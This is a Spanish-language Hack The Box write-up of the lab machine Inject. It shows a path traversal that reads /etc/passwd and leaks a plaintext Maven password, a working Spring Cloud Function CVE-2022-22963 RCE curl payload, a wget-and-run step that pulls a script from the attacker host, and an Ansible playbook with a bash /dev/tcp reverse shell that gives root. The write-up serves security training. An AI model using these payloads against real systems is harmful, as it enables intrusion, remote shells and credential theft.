This page looks best with JavaScript enabled

Hack The Box - Inject

 •  ✍️ sckull

Una vulnerabilidad en el sitio nos permitio listar, leer y descargar archivos, lo que nos dio acceso al codigo fuente de la aplicacion descubriendo la vulnerabilidad Spring4shell lo que nos dio acceso a un primer usuario. Las credenciales en un archivo de configuracion nos dieron acceso a un segundo usuario. Finalmente escalamos privilegios utilizando un archivo YAML.

Nombre Inject box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.204
Maker

rajHere

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.5, 5.1, 5.4, 4.6, 4.9],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.93 scan initiated Sat Mar 11 19:53:47 2023 as: nmap -p22,8080 -sV -sC -oN nmap_scan 10.10.11.204
Nmap scan report for 10.10.11.204
Host is up (0.24s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
|   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 11 19:54:03 2023 -- 1 IP address (1 host up) scanned in 15.94 seconds

Web Site

El sitio web no presenta ninguna redireccion a algun dominio.

1
2
3
4
5
6
7
8
 π ~/htb/inject ❯ curl -sI 10.10.11.204:8080
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 6657
Date: Wed, 03 May 2023 22:38:27 GMT

 π ~/htb/inject ❯

La Informacion del sitio muestra alguntipo de servicio en la nube.

image

Directory Brute Forcing

feroxbuster muestra multiples rutas del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 π ~/htb/inject ❯ feroxbuster -u http://10.10.11.204:8080/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.204:8080/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      166l      487w        0c http://10.10.11.204:8080/
200      GET      104l      194w        0c http://10.10.11.204:8080/register
200      GET       54l      107w        0c http://10.10.11.204:8080/upload
500      GET        1l        3w        0c http://10.10.11.204:8080/error
200      GET      112l      326w        0c http://10.10.11.204:8080/blogs
500      GET        1l       27w        0c http://10.10.11.204:8080/environment

Basados en que se esta haciendo uso de webjars y en el error de codigo 500, podria tratarse de una aplicacion web escrita en java.

1
2
3
4
5
6
<head>
  <meta charset="UTF-8">
  <title>Home</title>
  <link rel="stylesheet" type="text/css" href="/webjars/bootstrap/css/bootstrap.min.css" />
  <link rel="stylesheet" href="css/test.css" />
</head>

image

Directory Traversal

En la ruta /upload nos muestra un formulario para la subida de imagenes.

1
2
3
4
5
<form action="/upload" method="post" enctype="multipart/form-data">
    <input class="form-control" name="file" type="file" id="formFile"><br />

    <input type="submit" value="Upload" class="btn btn-warning">
</form>

Tras enviar una imagen vemos un mensaje con un enlace que al visitarlo nos muestra la imagen.

image
image

Vemos que se toma como valor el nombre de la imagen en el parametro img.

1
/show_image?img=Cloud.png

Utilizando multiples ../ nos permitio leer el archivo /etc/passwd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 π ~/htb/inject ❯ curl -s "10.10.11.204:8080/show_image?img=../../../../../etc/passwd"
{"timestamp":"2023-05-03T22:51:11.065+00:00","status":500,"error":"Internal Server Error","message":"URL [file:/var/www/WebApp/src/main/uploads/../../../../../etc/passwd] cannot be resolved in the file system for checking its content length","path":"/show_image"}
 π ~/htb/inject ❯ curl -s "10.10.11.204:8080/show_image?img=../../../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
 π ~/htb/inject ❯

Por alguna extrana razon nos es posible listar los archivos de los directorios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../"
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
^C
 π ~/htb/inject ❯

Tras enumerar home encontramos credenciales para el usuario phil, sin embargo no funcionan por el servicio SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../home/frank/"
.bash_history
.bashrc
.cache
.local
.m2
.profile
.ssh
^C
 π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../home/frank/.m2/"
settings.xml
^C
 π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../home/frank/.m2/settings.xml"
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
 π ~/htb/inject ❯

User - Frank

WebApp

En el directorio /var/www/WebApp encontramos el codigo fuente de la aplicacion web, segun la estructura de archivos parece ser un proyecto Java que utiliza Maven.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../var/www/"
html
WebApp
^C
 π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../var/www/WebApp"
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
^C
 π ~/htb/inject ❯

Podemos referirnos a la siguiente estructura, ademas de la explicacion de cada uno de los directorios y archivos en el post.

image

Vemos el archivo UserController.java el cual contiene las rutas del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// # ../../../../../../var/www/WebApp/src/main/java/com/example/WebApp/user/UserController.java

package com.example.WebApp.user;

import org.springframework.core.io.Resource;
import org.springframework.core.io.UrlResource;

import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;


import java.nio.file.Path;
import org.springframework.ui.Model;

import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

import javax.activation.*;
import java.io.*;
import java.net.MalformedURLException;
import java.nio.file.Files;

import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;

@Controller
public class UserController {

    private static String UPLOADED_FOLDER = "/var/www/WebApp/src/main/uploads/";

    @GetMapping("")
    public String homePage(){
        return "homepage";
    }

    @GetMapping("/register")
    public String signUpFormGET(){
        return "under";
    }

    @RequestMapping(value = "/upload", method = RequestMethod.GET)
    public String UploadFormGet(){
        return "upload";
    }

    @RequestMapping(value = "/show_image", method = RequestMethod.GET)
    public ResponseEntity getImage(@RequestParam("img") String name) {
        String fileName = UPLOADED_FOLDER + name;
        Path path = Paths.get(fileName);
        Resource resource = null;
        try {
            resource = new UrlResource(path.toUri());
        } catch (MalformedURLException e){
            e.printStackTrace();
        }
        return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);
    }

    @PostMapping("/upload")
    public String Upload(@RequestParam("file") MultipartFile file, Model model){
        String fileName = StringUtils.cleanPath(file.getOriginalFilename());
        if (!file.isEmpty() && !fileName.contains("/")){
            String mimetype = new MimetypesFileTypeMap().getContentType(fileName);
            String type = mimetype.split("/")[0];
            if (type.equals("image")){

                try {
                    Path path = Paths.get(UPLOADED_FOLDER+fileName);
                    Files.copy(file.getInputStream(),path, StandardCopyOption.REPLACE_EXISTING);
                } catch (IOException e){
                    e.printStackTrace();
                }
                model.addAttribute("name", fileName);
                model.addAttribute("message", "Uploaded!");
            } else {
                model.addAttribute("message", "Only image files are accepted!");
            }
            
        } else {
            model.addAttribute("message", "Please Upload a file!");
        }
        return "upload";
    }

    @GetMapping("/release_notes")
    public String changelog(){
        return "change";
    }

    @GetMapping("/blogs")
    public String blogPage(){
        return "blog";
    }
    
}

Vemos el archivo de proyecto compilado spring-webapp.jar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../var/www/WebApp/target/"
.DS_Store
classes
generated-sources
generated-test-sources
maven-archiver
maven-status
spring-webapp.jar
spring-webapp.jar.original
surefire-reports
test-classes
^C
 π ~/htb/inject ❯

JD-GUI - spring-webapp.jar

Utilizando jd-gui realizamos la lectura del archivo .jar, donde observamos las dependencias en el archivo pom.xml

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

[..]

<dependencies>
    <dependency>
        <groupId>com.sun.activation</groupId>
        <artifactId>javax.activation</artifactId>
        <version>1.2.0</version>
    </dependency>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-thymeleaf</artifactId>
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-devtools</artifactId>
        <scope>runtime</scope>
        <optional>true</optional>
    </dependency>

    <dependency>
        <groupId>org.springframework.cloud</groupId>
        <artifactId>spring-cloud-function-web</artifactId>
        <version>3.2.2</version>
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
        <scope>test</scope>
    </dependency>
    <dependency>
        <groupId>org.webjars</groupId>
        <artifactId>bootstrap</artifactId>
        <version>5.1.3</version>
    </dependency>
    <dependency>
        <groupId>org.webjars</groupId>
        <artifactId>webjars-locator-core</artifactId>
    </dependency>

</dependencies>

[..]

CVE-2022-22963 - Spring4shell

Basandonos en cada uno de los nombres y version de las dependencias realizamos una busqueda de vulnerabilidades.

Encontramos que existe una vulnerabilidad en Spring Cloud Function del tipo RCE bajo el identificador CVE-2022-22963 en las versiones 3.1.6, 3.2.2., una de las cuales se esta utilizando en la aplicacion, la v3.2.2. Se explica a detalle en CVE 2022-22963 donde tambien se menciona un PoC, aunque existe uno un poco mas detallado y se muestran dos PoCs, spring-spel-0day-poc.

Exploit

Explotamos la vulnerabilidad con uno de los PoC creando un archivo en el directorio /tmp el cual verificamos que existe.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/inject ❯ curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/sckull")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
HTTP/1.1 500
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 03 May 2023 23:23:41 GMT
Connection: close

{"timestamp":"2023-05-03T23:23:41.932+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
 π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../tmp/"
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
MHQii
mRENd.b64
systemd-private-548d63f0d6774c28a88a9667325a1cb5-ModemManager.service-sI8rsf
systemd-private-548d63f0d6774c28a88a9667325a1cb5-systemd-logind.service-PUnA7i
systemd-private-548d63f0d6774c28a88a9667325a1cb5-systemd-resolved.service-IRwBCh
systemd-private-548d63f0d6774c28a88a9667325a1cb5-systemd-timesyncd.service-nfy6zg
systemd-private-548d63f0d6774c28a88a9667325a1cb5-upower.service-PArPEf
sckull                                                  # <---------------------------------------------
tomcat.8080.3370839466446295371
tomcat-docbase.8080.15144202257924662454
vmware-root_728-2991137345
^C
 π ~/htb/inject ❯

Shell

Con ello solo queda ejecutar una shell inversa utilizando shells.

1
2
3
4
5
6
7
8
# commands
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("wget -qO- 10.10.14.11/10.10.14.11:1335 -O /dev/shm/out.sh")
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/out.sh")

# execution
# curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("wget -qO- 10.10.14.131:8000/10.10.14.131:1335 -O /dev/shm/out.sh")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'

# curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/out.sh")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'

Por otro lado obtuvimos acceso a la maquina como frank.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 π ~/htb/inject ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.10.11.204: inverse host lookup failed: Unknown host
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.204] 43852
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
frank@inject:/$

frank@inject:/$ whoami;id;pwd
whoami;id;pwd
frank
uid=1000(frank) gid=1000(frank) groups=1000(frank)
/
frank@inject:/$

User - Phil

Utilizamos la contrasena encontrada anteriormente para phil la cual funciono correctamente logrando asi obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
frank@inject:~$ su phil
su phil
Password: DocPhillovestoInject123

phil@inject:/home/frank$ cd
cd
phil@inject:~$ ls
ls
user.txt
phil@inject:~$ cat user.txt
cat user.txt
f78ceac3b3e9b54fa8fdb89773064bf0
phil@inject:~$

Privesc

En el directorio /opt encontramos un archivo yaml de lo que parece ser una tarea automatizada de ansible.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
bash-5.0$ ls -lah
ls -lah
total 12K
drwxrwxr-x 2 root staff 4.0K May  3 23:32 .
drwxr-xr-x 3 root root  4.0K Oct 20  2022 ..
-rw-r--r-- 1 root root   150 May  3 23:32 playbook_1.yml
bash-5.0$ pwd
pwd
/opt/automation/tasks
bash-5.0$

Segun parece, verifica el estado del servicio webapp.

1
2
3
4
5
6
7
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

Vemos que es el servicio de la aplicacion web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
bash-5.0$ systemctl cat webapp.service
systemctl cat webapp.service
# /etc/systemd/system/webapp.service
[Unit]
Description=Spring WEb APP
After=syslog.target

[Service]
User=frank
Group=frank
ExecStart=/usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
Restart=always
StandardOutput=syslog
StandardError=syslog

[Install]
WantedBy=multi-user.target
bash-5.0$

Tras ejecutar pspy observamos que existe un cronjob que ejecuta el archivo playbook_1.yml.

1
2
3
4
5
2023/05/03 23:48:05 CMD: UID=0     PID=64387  |
2023/05/03 23:48:05 CMD: UID=0     PID=64388  | sleep 0
2023/05/03 23:48:05 CMD: UID=0     PID=64389  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/05/03 23:48:05 CMD: UID=0     PID=64390  | /bin/sh -c rm -f -r /root/.ansible/tmp/ansible-tmp-1683157684.5830197-64365-205275836594962/ > /dev/null 2>&1 && sleep 0
2023/05/03 23:48:05 CMD: UID=0     PID=64391  |

Creamos un archivo para ejecutar una shell inversa utilizando el modulo shell.

1
2
3
4
- hosts: localhost
  tasks:
  - name: rev
    shell: bash -c 'bash -i >& /dev/tcp/10.10.14.131/1338 0>&1'

Lo colocamos en el directorio /opt.

1
2
3
4
5
6
7
8
phil@inject:/opt/automation/tasks$ echo -n "- hosts: localhost
  tasks:
  - name: rev
    shell: bash -c 'bash -i >& /dev/tcp/10.10.14.131/1338 0>&1'" > file.yml
phil@inject:/opt/automation/tasks$ ls
ls
file.yml  playbook_1.yml
phil@inject:/opt/automation/tasks$

El nombre del archivo lo podemos modificar, por lo que nombramos como el original al nuestro.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
phil@inject:/opt/automation/tasks$ ls
ls
file.yml  playbook_1.yml
phil@inject:/opt/automation/tasks$ mv playbook_1.yml bak.yml
mv playbook_1.yml bak.yml
mv file.yml playbook_1.yml
mv file.yml playbook_1.yml
phil@inject:/opt/automation/tasks$ ls -lah
ls -lah
total 16K
drwxrwxr-x 2 root staff 4.0K Mar 12 03:37 .
drwxr-xr-x 3 root root  4.0K Oct 20 04:23 ..
-rw-r--r-- 1 root root   150 Mar 12 03:36 bak.yml
-rw-rw-r-- 1 phil phil   104 Mar 12 03:36 playbook_1.yml
phil@inject:/opt/automation/tasks$

Luego de varios segundos logramos obtener una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/inject ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
10.10.11.204: inverse host lookup failed: Unknown host
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.204] 41388
bash: cannot set terminal process group (5345): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks#

root@inject:/opt/automation/tasks# whoami;id;pwd
whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/opt/automation/tasks
root@inject:/opt/automation/tasks# cd
root@inject:~# ls
ls
playbook_1.yml
root.txt
root@inject:~# cat /home/phil/user.txt
cat /home/phil/user.txt
f78ceac3b3e9b54fa8fdb89773064bf0
root@inject:~# cat root.txt
cat root.txt
12666536941f65600a9cd4b05f1edf4d
root@inject:~#

Si bien el archivo playbook_1.yml es ejecutado no es el unico, ya que si observamos los cronjobs ejecuta todos los archivos con extension .yml, por lo que no era necesario cambiar el nombre a nuestro archivo de shell.

1
2
3
4
5
6
7
root@inject:/opt/automation/tasks# crontab -l | grep -v "#"
crontab -l | grep -v "#"
*/2 * * * * /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
*/2 * * * * sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
*/2 * * * * /usr/bin/rm -rf /var/www/WebApp/src/main/uploads/*
*/5 * * * * /usr/bin/rm -rf /tmp/*.yml /dev/shm/*.yml
root@inject:/opt/automation/tasks#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe